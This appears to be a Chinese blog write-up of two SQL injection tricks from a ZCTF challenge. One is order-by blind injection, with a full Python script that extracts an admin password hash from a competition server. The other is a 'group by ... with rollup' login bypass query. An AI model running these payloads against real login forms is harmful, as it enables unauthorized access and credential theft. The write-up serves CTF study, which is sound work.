ctf中遇到的两种有趣的注入

0x00.前言

最近在打zctf的时候,在做一道注入web题目的时候,绕过的方法觉得很有意思。上次看了一篇大牛的博客,发现了一个group by后面的关键字,也觉得很有意思,就把两个注入总结记录下,方便以后自己遇到了查看。

0x01.具体内容

1.利用order by 排序进行盲注。

我们先来看几个数据查询例子:

数据库order by关键字默认按照升序排列,这里我们按照联合查询的第三个字段排序,可以看到由于3的ascii码值比e小,所以union的结果排在了前面。

当我们把联合查询第三个字段的值改为f时,由于ascii(f)>ascii(e),所以union的结果排在了后面。

看了上面两条语句,我们结合zctf的一道web题目来看下这个点的具体利用。

zctf apk这道web题的注入过滤了很多,union和select单独没有过滤,但是连在一起就过滤了,所以只有在中间加一些关键字。中间的关键字有两个:all和distinct,all代表查询结果全部保留不去重,而distinct查询结果去重,经测试union all select过滤了,不加默认为all。那么就只有加distinct关键字了。有人说都可以用union select了,为啥不直接出数据,因为我不知道具体字段名,又有人说为啥不去查,因为还过滤了下划线。

所以综上所诉,在队友的提示下,我想到的就只有用上面的方法盲注了。这道题刚好有一个username的显位,而且只显示查询结果第一行的结果,那么这就可以根据显位的不同作为盲注的判断依据。就像上面的第二个实例一样,在联合查询的第三个字段处提交字符,由于排序的结果不同,显位显示的username就会不同,在显位变化的前一个字符肯定是与password字段对应位置字符相同的,然后保留前面的字符依次一位一位后移判断,直到移完32位最后得到password的md5值。这里说得有点绕,具体流程看脚本吧:

import base64
import requests

def crypto(username):
    username = username[::-1]
    a2 = '1470'
    uname = ''
    i = 0 
    j = 0
    while i < len(username) :
        uname += chr(ord(username[i]) ^ ord(a2[j%4]))
        i += 1 
        j += 1
    return uname.encode('hex')
result = ''
a = list('0123456789abcdef')
payloads = list(enumerate(a,start=0))
for i in xrange(1,33):
    for index,payload in payloads:
        username = "admin' union DISTINCT select 1,2,'%s%s' order by 3 asc#" % (result,payload)
        # print username
        passwd = ""
        data= {'username':crypto(username),'password':passwd}
        res = requests.post('http://58.213.63.30:10005/', data = data)
        # print res.text
        if 'admin' in res.text:
            # print a[index-1]
            if index == 0:
                result += payload
                print result
                break
            else:
                result += a[index-1]
                print result
                break
        else:
            if index == 15:
                result += a[index]
                print result
                break

2.group by with rollup。

在mysql数据库的group by语句存在with rollup修饰语,使用with rollup修饰语可以在group by结果后面额外添加一行,对于group by的列,with rollup将不会做任何的操作,而是返回一个NULL。

那么在一些登录处我们可以构造如下语句绕过登录:

select * from zctf_apk where username = 'admin' or '1'='1' group by password with rollup limit 2,1;

username传入matcha,password传入空就可以登录成功了。

具体题目可以参照:http://www.freebuf.com/articles/web/66565.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注